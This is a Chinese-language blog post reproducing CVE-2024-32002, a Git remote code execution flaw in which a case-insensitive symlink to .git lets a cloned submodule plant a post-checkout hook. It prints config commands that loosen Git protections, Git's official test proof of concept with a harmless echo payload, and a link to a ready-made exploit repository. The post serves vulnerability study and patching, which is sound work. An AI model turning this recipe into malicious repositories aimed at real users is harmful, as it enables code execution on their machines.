CVE-2024-32002复现(git 远程代码执行)

2024-08-19

1. 漏洞介绍

漏洞标题:Git 远程代码执行漏洞(CVE-2024-32002) 影响版本

  • version 2.45.*< 2.45.1
  • version 2.44.*< 2.44.1
  • version 2.43.*< 2.43.4
  • version 2.42.*< 2.42.2
  • version 2.41.*< 2.41.1
  • version 2.40.*< 2.40.2
  • version 2.39.*< 2.39.4

2 git 基础

2.1 git clone

首先需要知道,在使用git clone命令时,实际上做的命令如下:

1、 mkdir -p <path> && cd <path> # 创建一个目录并进入
2、 git init # 初始化git仓库
3、 git remote add origin <url> # 添加远程仓库
4、 git fetch origin # 下载对象引用
5、 git checkout -b <branch> --track origin/<branch> #创建一个本地分支,并跟踪远程分支

2.2 git submodule

git submodule用于在一个 Git 仓库中嵌入另一个 Git 仓库。子模块通常用于管理大型项目中的独立依赖项或组件,这些组件可以是独立开发的代码库。
要将一个外部仓库作为子仓库添加到现有的 Git 中,需要如下命令:

git submodule add <repository_url> <path>
<repository_url>: 外部仓库的路径,例子:https://github.com/example/repo.git
<path> : 外部仓库存放在本仓库的目录名称

注意:当添加子模块后,该子模块的内容会被添加到本仓库中,.git虽然也会出现,但它是一个 符号链接,指向本仓库.git/modules/<path>

当我们使用git clone克隆含义子仓库的仓库时,不会自动的获取子仓库的内容,要想获取子仓库内容,需要做如下命令:

git submodule init # 初始化子模块配置
git submodule update # 从远程仓库获取子模块的内容

2.3 hooks

hooks目录存在与.git目录下,里面存放很多shell脚本,这些脚本会在git执行到某个阶段时被执行
举个例子,hooks目录中有个脚本名字叫做commit-msg,这个脚本就是在我们执行git commit -m xxx后,该消息即将被提交前,commit-msg会被执行。
作为测试,具体的执行方法如下:

1、将hooks中的 commit-msg.sample 中添加内容 echo "testtest"
2、将hooks目录中的 commit-msg.sample 更改为 commit-msg
3、执行git add --all && git commit -m "xxxx"
4、观察结果

你能观察到如下结果:

3. 漏洞成因分析

漏洞本质上是由于:
git在进行clone的时候,由于Windows或者MacOS操作系统大小写不敏感的特点,主仓库中用于存放子模块的目录在下载时被另一个指向.git目录的同名符号链接覆盖,导致往子模块写入数据的时候,全部都写入了.git目录中,最后配合hook脚本完成隐蔽的攻击。

4. 漏洞复现

漏洞复现时,需要先指向如下命令:

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 

https://github.com/amalmurali47/git_rce这个网址提供了现成的仓库
可以看一下官方验证poc

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
	'submodule paths must not follow symlinks' '
	# This is only needed because we want to run this in a self-contained
	# test without having to spin up an HTTP server; However, it would not
	# be needed in a real-world scenario where the submodule is simply
	# hosted on a public site.
	test_config_global protocol.file.allow always &&
	# Make sure that Git tries to use symlinks on Windows
	test_config_global core.symlinks true &&
	tell_tale_path="$PWD/tell.tale" &&
	git init hook &&
	(
		cd hook &&
		mkdir -p y/hooks &&
		write_script y/hooks/post-checkout <<-EOF &&
		echo HOOK-RUN >&2
		echo hook-run >"$tell_tale_path"
		EOF
		git add y/hooks/post-checkout &&
		test_tick &&
		git commit -m post-checkout
	) &&
	hook_repo_path="$(pwd)/hook" &&
	git init captain &&
	(
		cd captain &&
		git submodule add --name x/y "$hook_repo_path" A/modules/x &&
		test_tick &&
		git commit -m add-submodule &&
		printf .git >dotgit.txt &&
		git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
		printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
		git update-index --index-info <index.info &&
		test_tick &&
		git commit -m add-symlink
	) &&
	test_path_is_missing "$tell_tale_path" &&
	test_must_fail git clone --recursive captain hooked 2>err &&
	grep "directory not empty" err &&
	test_path_is_missing "$tell_tale_path"
'

官方验证poc主要做如下步骤:

1. 创建hook仓库,创建y/hooks/post-checkout并添加到仓库中
2. 创建captain仓库,通过git submodule 将hook仓库添加到 captain仓库中的A/modules/x目录中
   captain仓库的.git文件里记录hook仓库.git的位置为.git/modules/x/y
3. 在captain仓库以底层的方式创建一个a文件(符号链接),指向.git 并提交
4. 在git clone --recursive captain hooked后,会先拷贝captain的内容,在windows/macos中,A目录会被a替换,而a是指向.git的符号链接
   接下来在拷贝hook仓库的A/modules/x/y/hooks/post-checkout的内容时,会被拷贝到.git/modules/x/y/hooks/post-checkout
   而在git checkout执行后,执行post-checkout命令,完成利用

5. 补丁

https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d是官方补丁

references

https://www.cnblogs.com/Hi-blog/p/18224773/git_rce_CVE-2024-32002
先知社区cve-2024-32002复现
启明星辰
奇安信
https://showlinkroom.me/2024/05/24/GITRCE-CVE-2024-32002%E5%88%86%E6%9E%90/